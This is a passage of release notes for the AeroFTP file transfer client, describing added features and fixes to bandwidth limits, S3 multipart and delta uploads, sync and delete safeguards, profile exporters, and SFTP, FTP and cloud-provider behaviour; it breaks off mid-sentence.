--limit-rateand--bwlimitnow cap S3, WebDAV, FTP and FTPS, Azure, Backblaze B2 and the HTTP cloud providers that kept their own byte loops. --s3-upload-concurrencyreaches the engine that uploads. It was accepted and ignored: measured over a 100 ms link with a 300 MB upload, the engine took 2.19 s at one part and 2.18 s at eight, which is no difference at all; it is now 6.03 s at one, 2.20 s at four and 1.99 s at eight, with the same default of four as before.aeroftp-cli pwdprints the folder that relative paths resolve against, reading the saved profile, so it answers while the server is down.- Transfers that used to need a second attempt: an interrupted SFTP upload resumes with
--partial, aputinto a folder that does not exist creates it on SFTP, FTP, FTPS and WebDAV, andget --partialover a download that had already finished is a no-op again instead of an error. hashsum --downloadhashes the bytes it downloaded rather than repeating the server's digest, which is the only version of that command that can detect a bad transfer.- Profiles exported to other tools point at the server the connection actually uses. The exporters were rebuilding addresses by hand: bookmarks carried a URL as the hostname, MinIO exports pointed at AWS, explicit-TLS FTP profiles were exported as cleartext. Every exporter now asks the connection, and an export that could not include a profile says so instead of dropping it.
Added
- The people behind AeroFTP are named in the app and in the repository. A Team block in the About window, translated into all 47 locales, and a
TEAM.mdthat lists who does what. - Filebase is a production-ready S3 preset. Quick Connect asks for the three fields the Filebase console names, with a catalog card, a grid tile and translations in all 47 locales. Filebase answers 501 to
UploadPartCopy, so copies take the plainCopyObjectpath, and versioning and object tagging report "not supported" instead of failing on the wire. Endpoint classification now matches the host at a domain boundary, so a lookalike host is not taken for Filebase, and an rclone remote imported asprovider = Otherlands on the Filebase preset when its endpoint says so. Verified live againsts3.filebase.io: 1 MB and 150 MB multipart round trips with matching SHA-256, server-side move and copy, and a sync upload. - S3 uploads of a large object this client uploaded before send only the parts that changed. For files above 200 MiB the client keeps a local record of per-part digests of what it uploaded (written only after the server's ETag certifies the upload, capped at 10,000 entries), matches a new version against it with no remote read, and assembles the object from server-side
UploadPartCopyranges, pinned to the previous object withx-amz-copy-source-if-match, plus ordinary part uploads for the changed ranges. The result is a plain object, byte-identical to the local file and carrying the source modification time. Any refusal other than an authentication or permission error falls back to a normal upload, a backend that refuses ranged copy is remembered for five minutes, and a crypt overlay never takes this path. Verified against MinIO for an edit in the middle and an append; an insertion at the start of the file is refused before any request, by design. - Cloudflare R2 buckets created in a jurisdiction are reachable. Such a bucket answers only on its own host; a picker next to the Account ID offers the EU and US jurisdictions and shows the host each produces, and the choice reaches the CLI, the MCP pool and schedulers through the profile. A saved R2 endpoint in the older format still has its Account ID recognised.
- Jottacloud trash can purge a trashed folder and empty the whole bin. No JFS verb addresses a folder in the Trash view, so the purge goes through the folder's original path, guarded by a tombstone read-back so a live folder is refused; emptying uses the service's own purge call, behind a confirmation, and reports the counts it returns (@EhudKirsh, #397).
- A Backblaze B2 bucket's default encryption is shown on its card. Three answers rather than a yes or no: enabled (with a lock whose strength comes from the algorithm the service named), not enabled, and unknown when the key is not allowed to read the setting, which is common with keys restricted to one bucket. No extra request is made: the value arrives with the listing read at connect.
aeroftp-cli pwdprints the folder every relative path resolves against, without connecting. It reads the saved profile, so it answers while the server is down;--jsoncarries the profile name and id, protocol, host, base and resolved root.- AeroAgent records verified model capabilities and can send compatible OpenAI models through the native Responses API. Unknown models stay unverified and are treated conservatively, and tool continuations still use Chat Completions.
- An Auto-Routing rule's fallback model now answers, and Ollama can be a routing target. The fallback runs when the preferred model fails with an error of its endpoint, never on a budget the user set, a cancelled request or once a token has streamed. A streaming failure now rejects instead of resolving quietly, and the local Ollama provider is no longer filtered out of the routing lists for having no API key.
- Agents and MCP clients can tell an encrypted remote from a plain one.
profiles --json,agent-bootstrap,agent-infoand the MCP tool that lists saved servers (aeroftp_list_servers, also answering asserver_list_savedandremote_list_servers) carrycryptOverlay(aerocrypt,rclone-cryptornull) andprotocolClass, always present, while the binding's scopes never leave the vault.
Fixed
- The comparison panel no longer reports every comparison as 100% out of sync. Reported against 4.1.9 with two local folders, two files in the first and one of the two in the second: the honest reading is one difference out of two entries, and the panel answered that everything was out of sync, on local folders and on every remote backend including the encrypted overlays. The comparison deliberately sends no row for an identical file, because a large tree would ship tens of thousands of rows nobody reads, and the panel derived its percentage from exactly those rows, so the identical share was always zero and numerator and denominator were the same number: 100% was not a measurement, it was the shape of the arithmetic. The three compare commands now return what the scan examined, in entries and in bytes, next to the differences, and the panel divides by that, so the count and the size figures both hold. Nothing unobserved is counted as identical, because the scan boundary already withdraws it before the comparison runs, which is the same rule that stops a partial scan from authorising a delete. Two defects found while closing it go with it: a path that is a file on one side and a folder on the other was discarded as directory noise and came back inside the identical total, so a real conflict could read as 0% out of sync, and each section's count was taken from the rows it carries rather than from what the scan counted, so the identical section showed zero next to a size that was not zero.
- A file replaced by a symbolic link is no longer read as a deletion, and a download with no validator is checked against the size the server reports. Three defects found by the pre-release review, two of them older than this release. A local symbolic link is skipped when a folder is scanned, which is correct, but the skip was not recorded as a gap: AeroCloud then read that absence as a deletion on its next two-way cycle and removed the remote file, and the compare used by FTP and FTPS sessions and by the two-folder local view did the same, so a Mirror preset deleted the twin of a file or a folder someone had replaced with a link. Both now apply the same scan boundary the command line
syncalready used, on both sides, before anything is compared. The third is newer and belongs to the multi-stream work in this release: on WebDAV and Koofr, an object that publishes neither an entity tag nor a modification time skipped the check entirely, when the total size from the range response was available all along, so a replacement finished before the transfer ended was published at the old length with bytes from two versions. - A download that runs on several streams can no longer hand back a file made of two versions of the object. Each stream reads a different window, and nothing checked that the windows came from the same object: replace it while they are in flight, on the server or from another client, and the pieces are assembled into one file that has the right length, passes every check and is simply wrong. The object is now read before the windows start and again before the file is published, and the two readings are compared on the validator the service publishes, then on size, then on modification time, so a refusal says what changed. Where the protocol has a validator the windows carry it too: on S3 every range asks for the version the first reading saw, and the server refuses a window from a newer one rather than serving it. Two more things refuse instead of guessing: a plan whose size no longer matches the object never starts, so a file cannot be published cut to an old length, and a file that cannot be read again after the transfer is not published at all. A refusal is not a failed download: every surface falls back to a single stream, which reads one consistent view, so a file that grows while it is read still arrives. This covers every path that assembles a file out of parallel windows, named rather than counted because counting them is the part that went wrong twice: the shared transfer engine used by the queue, by sync and by cross-profile copies; the S3 and Backblaze downloaders; the shared HTTP path that WebDAV and Koofr take; the three SFTP paths, pooled, read-ahead and pipelined; the FTP one; and the command line's
pget. Reproduced live over SFTP before the fix: a 300 MiB file replaced on the server while it was being downloaded arrived with a checksum matching neither the version before nor the one after, and the command reported success. On services that publish no validator, a replacement with the same size and the same timestamp to the second is still not detected, and a file being appended to while it downloads now uses one stream rather than several, because a size that moved cannot be told from a rewrite by reading the file alone. - That check now covers every path that reads a file on several connections at once, and it no longer costs a failed download. A machine review over the work above returned seven findings and all are closed. Backblaze refused where it should have fallen back, so a download failed instead of finishing on a single stream. The SFTP pipelined read, an opt-in path that opens several handles on different parts of one file, had been left without the check its sibling got. The progress bar froze for the whole of a restarted download, because the callback had been consumed by the attempt that was refused; it is shared between the two now. And a refusal is recognised by its type rather than by a sentence inside an error message, so an unrelated failure that happens to quote that sentence is no longer mistaken for one: a server answering 403 with those words used to send the transfer quietly to the fallback, and now fails as it should.
- A download's stream count now travels with the reason it was chosen, and cannot be inherited from the transfer before it. The request carried an absent value that meant both "choose for me" and "one stream on purpose", so nothing below could tell the two apart; it now says which of the three it is (automatic, an explicit count, or one stream with a reason), and the resolved number reaches the transfer log, the MCP sync JSON and the shared command-line batch JSON together with where it came from. The numbers themselves do not change: 8 streams on SFTP, WebDAV, FTP and FTPS, 4 on S3, 1 elsewhere. Two real defects go with it: a provider left on multi-stream by an earlier transfer answered a later single-stream request with the old setting, because the stream state was set and never re-armed; and the shared command-line executor was documented as single-stream while it resolved to the measured provider default. On FTP the two download sites that feed the legacy executor now declare one stream with a reason instead of announcing an eight that executor never reads, while the measured default of eight stays on the provider path that does segment.
--s3-upload-concurrencyreaches the engine that does the uploading. The number of parts in flight came from a constant the S3 and Azure providers published, so the setting only ever changed the older upload path and was accepted in silence everywhere else. Measured over a 100 ms link with a 300 MB upload: before, the engine took 2.19 s at 1 part and 2.18 s at 8, that is no difference; after, 6.03 s at 1, 2.20 s at 4 and 1.99 s at 8. The default is the same 4 it always was, on S3 and on Azure, so an upload that sets nothing behaves exactly as before.- Profiles exported to other tools point at the server and TLS mode the connection uses. The exporters rebuilt addresses from the host field instead of asking the connection: Cyberduck bookmarks carried a full URL as the hostname, or none for MinIO so they pointed at AWS, and no path-style for servers that answer only path-style; mc wrote
https://https://, duplicacys3://https://, lftphttps://user@https://, s3cmd and kopia put the scheme inside the host, the aws config lost the MinIO endpoint, and restic mapped WebDAV to its REST server. FTP profiles that connect with explicit TLS were exported as cleartext to rclone, WinSCP, Cyberduck and Dreamweaver, and as plain FTP to MobaXterm, because the exporters read a key no connection reads. Every exporter now resolves the address through the same builders the connection uses, single-target formats report the profiles they could not include instead of dropping them, and an export that refused every profile exits 4. Verified by reading the exported bookmarks back with Cyberduck's command-line client against R2, FTPS, MinIO, Nextcloud and WebDAV. - Five findings from the tester lane: the OAuth edit form, Crypt secrets, catalog tiers, AeroCrypt v4 sizes and the S3 icon. Save on an OAuth profile now sees changes to wrappers and overlays and applies the overlay safeguards, while Save on the two-factor pages stays enabled with a typed code; a saved Crypt password and salt can be revealed and copied, read from the vault on demand; the All tab shows the union of the per-tab tiers (MEGA, pCloud and Yandex were wrong); AeroCrypt v4 (keyslots) sizes are mapped in the GUI Compare, the CLI
checkandreconcileand the MCPcheck_tree; and S3 is drawn as a bucket wherever connection methods are shown (@EhudKirsh, #347). - An AeroCloud one-way mirror no longer deletes, on its second cycle, a file it never synced. In receive-only a local-only file was skipped on cycle 1 and deleted locally on cycle 2; in send-only a remote-only file, for example one another person added to a shared folder, was deleted on the server. A skipped file was being recorded in the baseline, which made it read as previously synced; a skip now neither adds nor removes an entry, and a real deletion still propagates. A folder present on both sides also stops reporting a transfer every cycle with nothing moving. Both defects predate this release.
- A recursive delete on S3 no longer removes a file that shares the folder's name.
reports/andreportsare two objects and both were deleted, reproduced live on Cloudflare R2; the slashless key is now removed only when a HEAD confirms a zero-byte directory marker. A denied HEAD no longer blocks the delete inside the prefix, a refused individual DELETE in the sequential fallback is reported instead of passing, and a fresh listing reports an error when objects remain. Exported rclone S3 remotes setdirectory_markers = true, so rclone sees AeroFTP's empty folders, and Backblaze S3 exports useprovider = Other, since rclone has noBackblazeS3 provider. sync --files-frombounds both sides of the run, so--direction upload --deleteno longer deletes every remote file outside the list. The list filtered the local walk and the S3--fast-listbranch but not the pooled remote walk every other provider uses, so the planner compared a bounded local tree with the whole remote one: in upload every unlisted remote file was an orphan to delete (bounded only by the delete cap), in download an unlisted remote file was planned over the local file of the same name, and in both an unlisted file known to the bisync snapshot was planned for deletion. A watch cycle's precomputed local list and a--from-reconcileplan ignored the list as well. The list is now applied once to everything that reaches the planner, whatever produced it; a bisync snapshot saved by a listed run keeps its entries for the paths outside the list; andsync-doctorcounts only the listed files, names the list in its checks and in the delete risk, and keeps it in the dry run it suggests.- A sync no longer deletes, downloads or uploads anything at or under a path its scan could not see. A symbolic link the walk did not follow, a directory that failed to list, a directory at the depth limit, an entry that could not be stat'ed and a flat listing the provider cut short are now left out of both sides, for copies as well as deletes, while the rest of the run proceeds; a gap the scan cannot even name (an unreadable root, a cancel, the 500,000-entry cap) refuses the run instead of planning half of it. Reproduced before the fix with
download --deleteover a locallink/x.txt, which was deleted. The MCPsync_treeresult listsskipped_linksandunseen_paths(capped at 1000 each, totals kept undersummary_only), and the compare view withdraws the directory rows above a bounded path so a Mirror or Pull preset cannot turn them into a recursive delete. - The CLI
syncandreconcileapply the same bound to their own planners. Every path under something a scan did not reach is left out of the plan, a gap that cannot be named refuses the run, and a skipped link's type is read from its target (or recorded as unknown) instead of being assumed.reconcilenow reports the boundaries it applied, and the entry cap is checked after the exclude rules and--files-from, so a file that would never be copied can no longer trip it. Behaviour change: with--fast-list, an S3 listing that reaches the provider's entry cap now refuses the run instead of syncing the part it saw. sync --watch,sync --deleteandreconcilerefuse to delete when part of the local tree could not be read. The watch loop skipped read errors, so on the next cycle the files it had failed to read looked deleted and were removed from the remote; an incomplete local scan now forces a full cycle and derives no delete (exit 4). A reconcile plan built over a partial scan is refused bysync --from-reconcile --delete, the refusal for a partial remote scan exits 4 instead of 5, and a plan loaded from reconcile no longer requests the same delete twice.- A compare under a crypt overlay that is not open no longer plans the delete a boundary exists to prevent. The bound ran before the remote names were decrypted, so ciphertext boundaries matched nothing; decoding now comes first, using the entry type the scan recorded, a boundary whose name cannot be decoded refuses the run, and a test holds the order. The used-bytes scan also counts directories against its cap and honours a cancel that arrives during the listing.
checkandcryptcheckno longer give a verdict on a tree they did not fully read. A gap the scan can name, including a link the walk did not follow, makes the resultpartial(exit 4) with the paths listed inlocal_scan_boundariesandremote_scan_boundaries; a gap it cannot name refuses the verdict. A run over two readable trees reports exactly as before.sync-doctorno longer previews a sync over a tree it could not read. It now walks the local side with the same scansyncruns, counts a remote directory that fails to list, and applies the entry cap before each insertion rather than only when a directory opens. The report says which side is partial (local_scan_complete,remote_scan_completeand six summary fields, none renamed). Behaviour change: an incomplete scan now reportsattentionand exits 4 where it used to reportok.- Replacing a remote file in place works on SFTP and WebDAV, where it had never worked. Plain SFTP rename is specified to refuse an existing destination, so
edit(CLI and MCP), the AeroCrypt marker publish and the crypt configuration writes failed on every SFTP server; WebDAV had the same hole through a fixedOverwrite: F. Replacing is now its own operation, usingposix-rename@openssh.comon SFTP andOverwrite: Ton WebDAV, checked before anything is staged, whilerenamekeeps refusing so an ordinarymvcannot destroy a file nobody named. Verified on three OpenSSH servers (the CI fixture, 9.6p1 and 8.4p1 on a NAS). On FTP the answer depends on the server (IIS FTP refuses an occupied name), which is now documented as such. - Cancelling a large S3 upload from the GUI no longer leaves its parts on the backend. Stop drops the transfer future, and dropping a future runs no error branch, so every explicit abort was unreachable from the path users take and the parts of an upload above 200 MiB stayed until the bucket lifecycle rule removed them. A guard now aborts the multipart session on any exit that is not a proven completion, on both multipart paths.
- SFTP and MEGA no longer report a path as missing when they could not tell. A permission refusal, a lost session or an I/O error on the existence check came back as "not there", so a root under a parent the account cannot traverse read as absent: a sync writing to it planned against an empty folder, and one reading from it was refused as "source missing". These now reach the caller as errors, while a genuine absence is still an absence; across the providers this was the only remaining instance of the shape.
- A failed directory listing on Cloudinary and Filen is no longer reported as an empty folder. Five call sites turned the error into an empty listing, so a restricted folder looked empty and a recursive delete walked past it.
- On Windows, a file inside a subfolder of an AeroCloud sync is no longer compared as two files. The local scanner keyed paths with
\while every remote scanner uses/, so one file on both sides became two entries and an upload could address an object with a backslash in its name. Keys are normalised at the source, the saved index is migrated on read, and the first cycle after the migration cannot propagate a delete on a key it has just rewritten; reproduced and verified against a real SFTP server on Windows 11. - On Windows, a key-authenticated native delta over SFTP transfers only the changed bytes. libssh2 was built on WinCNG, which cannot negotiate Ed25519 or ECDSA, so the delta was refused at handshake and the whole file was re-uploaded while the command exited 0; it now builds on the OpenSSL already vendored. Measured on Windows 11 with an 8 MiB file and 4 KiB changed:
put --delta8.0 MB to 27.3 KB on the wire,get --delta8.0 MB to 22.8 KB. sync --deltanow moves only the changed bytes when downloading, too. The recursive download leg transferred whole files; it now uses the delta batch for files that already exist locally and the classic path for new ones. Measured with an 8 MiB file and a 4 KB change: 8,428,937 bytes with 4.1.9, 18,829 on the wire now, with the same result on Linux, Windows 10 and Windows 11.sizeon a scan the user cancelled exits 4 with"status": "partial"instead of 0, and the delta fallback message no longer names password authentication as a reason.- An interrupted SFTP upload resumes from the CLI with
--partial. SFTP implemented the append but answered "no" to the capability the CLI asks, so the GUI resumed and the CLI restarted from zero. - The GUI sync journal is kept when a run finishes with failed files, so Resume is still offered. A non-cancelled run used to mark the journal completed and delete it even when files had failed or failed verification, which is the case where a resume is wanted. Cancellation still keeps the journal; a fully successful run still deletes it.
- Resuming a cancelled GUI sync transfers the files that had not been reached. Cancellation and the transfer budget used to mark remaining journal entries skipped, and resume treated skipped like completed, so Resume after Cancel transferred nothing more. Remaining entries now stay pending; resume also retries skipped, so journals already saved with that status from an older cancel still continue.
- Multi-file SFTP transfers reuse their SSH connections across files instead of dialling a new one per file. The shared batch executor recycles a warm worker only for providers that opt in; FTP did, SFTP did not, so
put -r,get -randsyncon SFTP paid a full key exchange and authentication for every file. The DAG engine review battery of 2026-09-05 measured it on 5000 small files over a 53 ms link: about 3 files per second with four leases, most of it handshake. SFTP now opts in on the same terms as FTP (a worker is parked only after a successful transfer; paths are absolute; a dead channel fails its next file loudly), so one batch pays one handshake per lease. - A warm transfer connection is retired after 128 files. Multi-file transfers reuse a clone worker's connection across files (FTP already did, SFTP since this release). A session that lives across thousands of files accumulates state no single transfer sees: the review battery of 2026-09-06 hit the SFTP client's open-handle counter on 4 of 5000 downloads with unbounded reuse, even with every read handle closed and awaited. A worker that has served 128 files is now dropped and the next file dials afresh, the way rclone's pools retire connections; the handshake stays amortised to well under one percent per file on a WAN link.
- SFTP file handles are closed and awaited on every exit, not only on success. russh-sftp's
Droponly queuesclose_nowait, so a warm worker that skipped the awaited close on a failed read, a cap, a cancelled range or a refused write could outrun the server's per-session handle limit. Nine open sites now close on every exit after the open, read-ahead and pipelined downloads close every handle they opened (four of them never awaited it, not even on success), and a reader or writer error no longer drops its sibling readers before they close. - One-way
syncno longer re-transfers every unchanged file on backends that do not preserve modification time. The CLI planner skipped a file only when size and mtime were exactly equal; S3-compatible stores report the upload time as the object's mtime, so equality never held and a secondsync --direction uploadre-uploaded the whole tree (the DAG engine review battery of 2026-09-05 measured 5000 files re-uploaded in 84 s on a run that should have moved nothing; rclone's no-op took 34 s). In one-way mode a destination of the same size now counts as current when it is at least as new as the source, within a 2 s tolerance for FAT and FTPMDTMgranularity: a copy written after the source last changed already holds it, and a source edited later is still transferred. Bidirectional sync keeps exact equality, where a difference is a conflict to resolve.--skip-matchingis unchanged. --limit-rateand--bwlimitnow cap S3, WebDAV, FTP/FTPS, Azure, Backblaze B2 and every HTTP cloud provider, not only SFTP and MEGA. The flag used to call the provider's ownset_speed_limit, which only SFTP and MEGA implement; the others answered NotSupported and the CLI discarded the answer, so a 20 MiB S3 download asked to run at 2 MiB/s ran at line speed (measured at 9.2 MB/s in the DAG engine review of 2026-09-05). The limit is now armed once on the process-global transfer governor as a pair of directional caps, and the shared byte loops charge them where the bytes move: the resumable HTTP download stream, the S3, WebDAV and Azure download loops, the segmented range writer, the S3 request bodies, B2 part bodies, every multipartPartBody, theReaderStreamwhole-file uploads and the four FTP data-channel loops; the SFTP loops charge the same caps alongside their own pacing. Concurrent files and parts share one budget. The GUI speed-limit setting lands on the same governor, so a provider without its own pacing no longer reports "Failed to set speed limit". The providers whose download or upload loop does not go through these shared paths are covered by the entry on the HTTP cloud providers above.- The speed limit now also holds on the HTTP cloud providers that kept their own byte loops: Cloudinary, Filen, GitHub, ImageKit, Immich, Koofr, MEGA, Uploadcare downloads and Cloudinary, Dropbox, FileLu, 4shared, ImageKit, kDrive, Koofr, OneDrive, pCloud, Uploadcare, Yandex Disk and Zoho WorkDrive uploads. The governor caps introduced earlier in this release for
--limit-rateand--bwlimitwere charged in the shared HTTP loops (S3, WebDAV, Azure, B2, the resumable download helper, multipart parts); the providers listed above stream through code of their own, which the DAG engine review counted as the remaining siblings (10 download loops, 12 upload bodies). Each of those streams is now wrapped by the same pacing helper, so one budget covers every provider, uploads and downloads alike. - Multipart uploads no longer hold every in-flight part in memory twice. The retry helper copied each S3 request body up front; the payload is now shared and the request rebuilt per attempt. Peak RSS of a 300 MiB upload: 395 MB to 206 MB with 16 MiB parts, 562 MB to 335 MB with 64 MiB parts.
- Transfers with no speed limit no longer pay the bandwidth governor on every chunk. Each 4 KiB chunk took two locks to reach a decision already made; with no cap the stream is now returned untouched. Measured at +17% on a mixed-size S3 upload (7.5 s to 8.8 s), now gone.
- Multi-file downloads no longer pay one extra server round trip per file on S3, Backblaze B2, WebDAV and Koofr. With the multi-stream default of 4, those providers asked the server for each file's size (a HEAD, a stat, a
Range: bytes=0-0probe) before deciding whether to split it, on every file, including the thousands that are nowhere near the 250 MiB cutoff; on a 47 ms link a 5000-fileget -rwent from 68 s to 127 s while rclone held at 60 s. The batch executor,syncand a singlegetalready know the size from the listing or their own stat, so they pass it down (download_with_size_hint) and the provider skips the probe when the size is below the cutoff; an unknown size still probes. FTP and SFTP were not affected: they read the size before the single-stream path anyway. - The
synccommand's remote scan now really runs on the list pool, and so does every other caller of the shared walker. The #758 entry under Changed namedsync, but the command walked the remote tree with a third walker of its own (an inline loop in the CLI), and the library sync core, the DAG sync and the MCP tools called the shared walker's serial branch; onlyreconcile,checkandcryptcheckhad moved (the test station measuredcheckat 5 SSH sessions andsyncstill at 1, andcheckhalving from 11.4 s to 5.8 s on 5000 files). The sharedscan_remote_tree_checkednow parks the caller's provider behind the crate's fail-closed placeholder, resolves the list pool and scans through it, so every path inherits the pool and--checkers; the CLIsyncloop is gone. Tests run the command's own code path (sync_tree_coredry run) against a provider that only finishes when 8 listings are in flight together. - The CLI
putno longer sleeps half a second after every upload on providers that do not need it. The post-upload settle exists because russh buffers SFTP writes and disconnecting before the flush produced 0-byte files, but it ran unconditionally for every provider: an FTP upload already blocks on the server's 226 and the HTTP providers on the final response, so for them the sleep was dead time. The DAG engine review measured it as the fixed floor under every FTPS upload: 2.35 s for an uncapped 1 MiB upload whose transfer is 12 ms, of which the sleep is 0.50 s (rclone in plain FTP, which pays no TLS, floors at 1.87 s on the same server). The settle now runs for SFTP only. The regression test times the realaeroftp-cli putcommand against a loopback FTP server, not the CLI's ownelapsed_secs, which is closed before the sleep and would read green on both sides of the fix. - FTP transfers set the binary transfer type once per session, not once per file.
connect()already sendsTYPE Iat login, and nothing in the provider ever sets a non-binary type, yet seven per-transfer sites (upload, download, both resume paths, in-memory read, range read, pooled range download) re-issued it before every transfer: one dead control round trip per file in each direction. On the DAG engine review's lab link (47.36 ms RTT) that is 47 ms per file, so a folder of N small files paid N round trips against a transfer cost of 12 ms per MiB. The per-transferTYPEcommands are gone; the session-level one stays. The regression test records the wire of a session that uploads and downloads and asserts exactly oneTYPEcrosses it. - FTP over TLS no longer sleeps up to two seconds at the end of every upload. Before letting the library close the data connection, the upload path slept
min(2 s, size / 4096 ms)on TLS connections so the kernel could drain the last records: a fixed two seconds on every upload of 8 MiB or more, invisible on small files and read by the DAG engine review as a constant 3 s overshoot of the rate cap on a 10 s transfer (rclone: 0.8 s). The sleep is replaced by the signal it was guessing: our own close_notify and FIN, then a bounded read until the server closes the data connection, then the 226. Measured against the lab FTPS from a laptop: a 20 MiB upload capped at 500 KiB/s went from 42.75 s to 40.85 s (target 41.9 with the bucket's initial burst), uncapped from 4.81 s to 2.61 s, bytes read back identical. - Small-file SFTP downloads overlap STAT and OPEN when a listing size is available. The server still supplies a fresh size for termination, progress, throttling and resume; the hint only selects speculative opening of the file. If the fresh size selects read-ahead or another parallel path, the speculative handle is closed first. This removes one sequential exchange from the small-file path without trusting stale listing metadata. The expected gain on the 5000-file benchmark is about 23 seconds at the measured ten active sessions; the end-to-end improvement remains subject to the integrity-checked benchmark. A speculative open the server refuses no longer fails the download: the serial path opens again and reports a genuine failure as before. Regression tests observe OPEN before the delayed STAT response and verify stale hints, short reads and handle cleanup.
- A single-file
putinto a remote folder that does not exist yet creates the folder on SFTP, FTP/FTPS and WebDAV instead of failing with "Failed to create remote file: No such file".put -ralready created every missing ancestor and rclone'scopytocreates parents as a matter of course; the single-file path did neither. The parent is now checked once and, only when missing, created top-down with the same ladder the recursive path uses; object stores, which have no folders to create, are untouched. Found by the DAG engine review harness of 2026-09-05 on the Hetzner lab SFTP. get --partialover a download that had already finished is a no-op again instead of failing with "Range not satisfiable: file may have changed on server" (exit 4). The resume path took the bytes already on disk as the offset and asked every HTTP backend forRange: bytes=<size>-, which a complete object answers with 416; the same happened when the local file was longer than the remote one. The CLI now compares the local byte count with the remote size before asking for a range and decides the way rclone does: equal is complete (a leftover.aerotmpis finalised in place), longer is stale and restarts from scratch, shorter resumes, unknown remote size still asks for the tail. Reproduced against MinIO and a local S3 endpoint during the DAG engine review of 2026-09-05; the provider 416 arms are unchanged as the second line of defence.- Immich 3.x albums show their photos again, and "All assets" and "Favorites" list every item instead of the first 1000. Since Immich 3.0.0 an album no longer carries its assets, so every album read as empty with no error, while the server reported the real count in the same answer; and the asset searches read only the first page, so a library above 1000 items looked complete and a download sync with delete could treat the rest as orphans. Albums are now read through the metadata search, every search follows the server's pages to the end, and a page that cannot be read or a pagination that points backwards fails the listing instead of shortening it. Verified against a live Immich 3.2.2; the same requests work on 2.7.
- A
put --deltato Filebase goes straight to a normal upload. Filebase answers 501 to the ranged server-side copy an S3 delta is made of, so every invocation opened a multipart session, took the refusal, aborted and fell back; the delta is now declined before any request. In the same pass the CLI help names the right GUI default for--sftp-download-preset(fast, eight connections), the 99 and 130 rows are back inside the exit-code table of--help, and the banner takes its protocol and integration counts from the generated provider inventory instead of a hand-written "23 providers". export rclonekeeps an SFTP profile's host-key trust and every path-rooted profile's starting folder. The exported sftp remote carried noknown_hosts_file, so rclone performed no host-key validation and warned about it on every run, while AeroFTP checks the same server against~/.ssh/known_hosts; the remote now points at that file. And a profile that opens in a sub-folder (sftp, ftp, ftps, webdav) exported to the account root, because those rclone backends have no start-folder key; the folder is now carried as analiasremote (<name>-path,remote = <name>:<folder>), the same shape the exporter already uses for a pinned S3 bucket, absolute for sftp and relative to the URL root for ftp and webdav. Found while exporting the review's nine test profiles to rclone: all nine listed, two landed in the wrong folder and three warned.- S3 uploads carry the source file's modification time as object metadata, the way rclone does, and
statreads it back. S3 has no mtime of its own:Last-Modifiedis the upload time, so a timestamp comparison against an S3 object could never find equality, and a downloaded object could not get its original mtime back. Single PUTs and multipart initiations now writex-amz-meta-mtime(unix seconds with nanoseconds, the value rclone writes and reads),statprefers that metadata overLast-Modifiedwhen present (integer and fractional forms accepted, garbage ignored), and a server-side copy keeps it through the metadata directive. Objects written by rclone therefore read back their real mtime in AeroFTP and vice versa. Listings still show the upload time, because S3 listings do not carry object metadata: the one-way sync rule from the DAG engine review keeps converging on listing data, and astat-based comparison is exact. - S3 no longer reports an MD5 checksum that is not one. Any 32-hex ETag was read as the content MD5, but per the AWS S3 API reference the ETag is the MD5 only for single-part objects stored plaintext or under SSE-S3: SSE-KMS and SSE-C make it opaque, and multipart ETags carry a
-Npart count.statnow skips the derivation when the response declares SSE-KMS (or DSSE) or SSE-C, listings skip it when the profile itself writes SSE-KMS, and the multipart shape stays excluded, sochecksumand checksum-based comparisons omit the hash instead of promising a verification that would guess or falsely mismatch, the way rclone does. - An FTP session never hands the next command a reply that belongs to another. A server that refuses and then hangs up sends
550and421together, and the next command read the goodbye as its own answer; a resumed upload that failed partway left the transfer's completion reply queued for the next listing. The session is now dropped whenever a data connection is refused or a reply is left owing, and a redial returns to the directory the caller had changed into instead of the login directory. A resumed upload (APPE) to a server that accepts it and never answers now ends inside the data-open budget instead of waiting as long as the process lives. --immutableis honoured bycpandmv. Both ignored the flag, so a copy onto an existing target overwrote it and exited 0; they now skip with exit 9 likeput, and under--immutablea destination that cannot be checked refuses the write.hashsum --downloadhashes the bytes it downloaded instead of returning the server's digest. The flag was parsed and ignored. The download now streams to a temporary file hashed in 1 MB chunks, so there is no size cap and a failed transfer produces no digest.--conflict-mode newerno longer decides in opposite directions when no timestamp can decide. Without a usable modification time an upload copied and a download skipped, so a two-way run quietly became "the local side always wins"; the larger file now wins in both directions, and the skip reason says the timestamp was missing. Behaviour change on backends that report no modification times.- Four CLI answers that read the same whether the work was done or not. A reached
--max-transferbudget now has its ownover_budgetcount and apartialstatus instead ofokwith nothing skipped;get -ron a path it cannot list exits non-zero instead of printingDownloaded 0/0;--password-stdinis read once and reused, so asyncno longer fails its later connections with an empty password; and the exit-code precedence ofsyncis written down. - Used-space scans report what they covered.
size --max-depthon an object store summed the whole bucket; the requested depth is now applied and reported asdepth_limited, not as a truncation. A scan the user cancelled is labelled cancelled, not truncated, insize,df --scanand the desktop, and the desktop quota no longer saves as the profile's used figure a listing the provider cut or a scan that was stopped. - CLI and AeroCloud rough edges found by using AeroFTP to develop AeroFTP. A subcommand's
-hnow shows its own options first (profile-export -hwent from 186 lines to 21, and a test caps short help at 60),profile-export --idsaccepts names through the same selector every other command uses, andprofile-import -hsays on its first line that existing profiles are skipped. An AeroCloud pair whose remote folder sits below a missing parent now creates the whole path instead of failing every upload under it;aerocloud showreports the protocol of the assigned profile;--directionacceptsLocalToRemoteandRemoteToLocal, the names its own logs print; and theskippedcount now lists each path with its reason and whether it is a folder. - The command-line agent can run
app_infoandhash_file, the two tools it offered and refused. They are answered by the CLI implementations instead of being routed to the desktop ones, and thirty-seven routes of an older table that could never be reached were removed. - The AI agent's local file tools say what they could not read.
local_list,local_tree,local_grep,local_disk_usage,local_searchandlocal_find_duplicatespresented an unreadable entry as an empty file and a locked directory as an empty one; each now counts, on every answer, what it could not read. - The MCP
aeroftp_check_treetool reports how much of each tree it compared. A directory it could not read, or one behind a link no walk follows, was indistinguishable from one that is absent; the result now carries per-side completeness counters and the unseen paths, and the tool description warns that a file missing under an incomplete scan must not become a delete. - The MCP pool can open Immich, ImageKit, Uploadcare, Cloudinary and native B2 profiles. The resources surface announced them and the pool could not build them; a hand-typed protocol such as
